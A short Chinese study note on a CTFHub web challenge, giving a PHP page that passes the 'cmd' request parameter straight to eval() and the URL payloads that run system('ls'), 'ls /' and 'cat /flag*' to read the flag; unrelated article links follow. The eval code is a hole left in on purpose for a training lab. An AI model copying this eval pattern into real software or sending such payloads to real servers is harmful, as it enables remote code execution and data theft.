CTFHub 技能树 Web RCE eval执行(学习记录)

eval执行

源代码

php 复制代码
<?php
if (isset($_REQUEST['cmd'])) {
    eval($_REQUEST["cmd"]);
} else {
    highlight_file(__FILE__);
}
?>

PHP代码显示,要求将命令赋值给cmd然后执行

先查看一下根目录文件 /?cmd=system("ls");

查看上一级目录找flag文件

/?cmd=system("ls /");

打开flag文件发现FLAG

/?cmd=system("cat /flag_9237");

linux在读取flag的时候可以使用*去匹配

cat /flag*

/?cmd=system("cat /flag*");

相关推荐
辰海Coding8 分钟前
MiniSpring框架学习笔记-JDBC 访问框架:如何抽取 JDBC 模板并隔离数据库?
java·数据库·笔记·学习·spring
十月的皮皮13 分钟前
C语言学习笔记20260609-字符串反转两种实现方法
c语言·笔记·学习
咸鱼翻身小阿橙24 分钟前
C# WinForms 控件学习项目
开发语言·学习·c#
段一凡-华北理工大学29 分钟前
工业领域的Hadoop架构学习~系列文章22:Hadoop生态展望 - 面向未来的技术演进
大数据·人工智能·hadoop·分布式·学习·架构·高炉炼铁
YangYang9YangYan33 分钟前
学数据分析对学习编程的价值
学习·数据挖掘·数据分析
踏着七彩祥云的小丑38 分钟前
Go学习第3天:变量+常量+运算符
开发语言·学习·golang·go
sensen_kiss43 分钟前
CPT304 SoftwareEngineeringII 软件工程 2 Pt.6 批判性分析 / 关键性分析(Critical Analysis)
学习·软件工程
写代码的白开水44 分钟前
从 RAG 到 LLM Wiki:团队知识库工程化的一点学习
学习
人邮异步社区1 小时前
请问如何系统地学习深度学习所需的数学基础?
人工智能·深度学习·学习
mightbxg1 小时前
【学习一下】余弦相似度+Sigmoid+交叉熵组合
深度学习·学习·机器学习